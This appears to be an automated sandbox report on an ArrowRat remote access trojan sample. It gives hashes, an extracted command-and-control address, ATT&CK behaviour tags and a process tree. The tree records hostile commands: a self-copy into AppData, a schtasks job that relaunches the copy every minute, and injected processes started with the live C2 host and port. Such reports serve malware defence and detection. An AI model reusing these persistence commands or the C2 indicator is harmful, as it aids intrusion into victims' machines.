Overview

overview

10

Static

static

3

a0ecd7e870...8b.exe

windows7-x64

10

a0ecd7e870...8b.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 02:16

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General

  • Target

    a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe

  • Size

    732KB

  • MD5

    ab0d49fdafb94d853b64632422636c97

  • SHA1

    114878c7437c44b9d33085f3f75ca16f4e3aa9dc

  • SHA256

    a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b

  • SHA512

    d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies registry class 36 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe
    "C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1184
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3780
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:1868
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2068
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3392
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:840
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2256
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2964
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3188
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4888
  • C:\Users\Admin\AppData\Roaming\kio\kio.exe
    C:\Users\Admin\AppData\Roaming\kio\kio.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies registry class
        PID:1980
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
          PID:1848
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4164
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4968
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4120
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133717042414883670.txt
      Filesize

      74KB

      MD5

      5d1edfca414b046fefb13e380148f4e6

      SHA1

      67043946770e46cdeb2fcb67e5fd92c30d9b31d2

      SHA256

      38a2d46768a4e4a3f10f9690a0bc92edbfd22ce5593d53d5f1b95c085930b388

      SHA512

      1d346ca77f2a2a59c7123e874d2d6d7df4ac8996a7d5c9c6b8b453091137fc3cbcd6f2cf3e3ea1c225fffa8cb5e9e9c5a4a07e149cbdcc1beea7ac35af556b35

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\TMP_pass
      Filesize

      40KB

      MD5

      a182561a527f929489bf4b8f74f65cd7

      SHA1

      8cd6866594759711ea1836e86a5b7ca64ee8911f

      SHA256

      42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

      SHA512

      9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

      Download Submit

    • C:\Users\Admin\AppData\Roaming\kio\kio.exe
      Filesize

      732KB

      MD5

      ab0d49fdafb94d853b64632422636c97

      SHA1

      114878c7437c44b9d33085f3f75ca16f4e3aa9dc

      SHA256

      a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b

      SHA512

      d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a

      Download Submit

    • memory/1184-3-0x00000000056E0000-0x0000000005772000-memory.dmp

      Filesize

      584KB

      Download

    • memory/1184-4-0x0000000005640000-0x00000000056A6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1184-5-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1184-6-0x0000000005A10000-0x0000000005A1A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1184-7-0x000000007442E000-0x000000007442F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1184-8-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1184-2-0x0000000005BF0000-0x0000000006194000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1184-0-0x000000007442E000-0x000000007442F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1184-1-0x00000000002D0000-0x000000000038C000-memory.dmp

      Filesize

      752KB

      Download

    • memory/1184-15-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1628-191-0x0000000000A30000-0x0000000000AEC000-memory.dmp

      Filesize

      752KB

      Download

    • memory/1868-23-0x0000000002A40000-0x0000000002A41000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2068-12-0x0000000000400000-0x0000000000416000-memory.dmp

      Filesize

      88KB

      Download

    • memory/2068-20-0x0000000006520000-0x0000000006570000-memory.dmp

      Filesize

      320KB

      Download

    • memory/3780-173-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3780-13-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3780-10-0x0000000004F40000-0x0000000004FDC000-memory.dmp

      Filesize

      624KB

      Download

    • memory/3780-11-0x0000000074420000-0x0000000074BD0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3780-9-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB

      Download

    • memory/4888-27-0x000002137AF00000-0x000002137B000000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4888-30-0x0000021B7CFD0000-0x0000021B7CFF0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4888-26-0x000002137AF00000-0x000002137B000000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4888-39-0x0000021B7CF90000-0x0000021B7CFB0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4888-61-0x0000021B7D3A0000-0x0000021B7D3C0000-memory.dmp

      Filesize

      128KB

      Download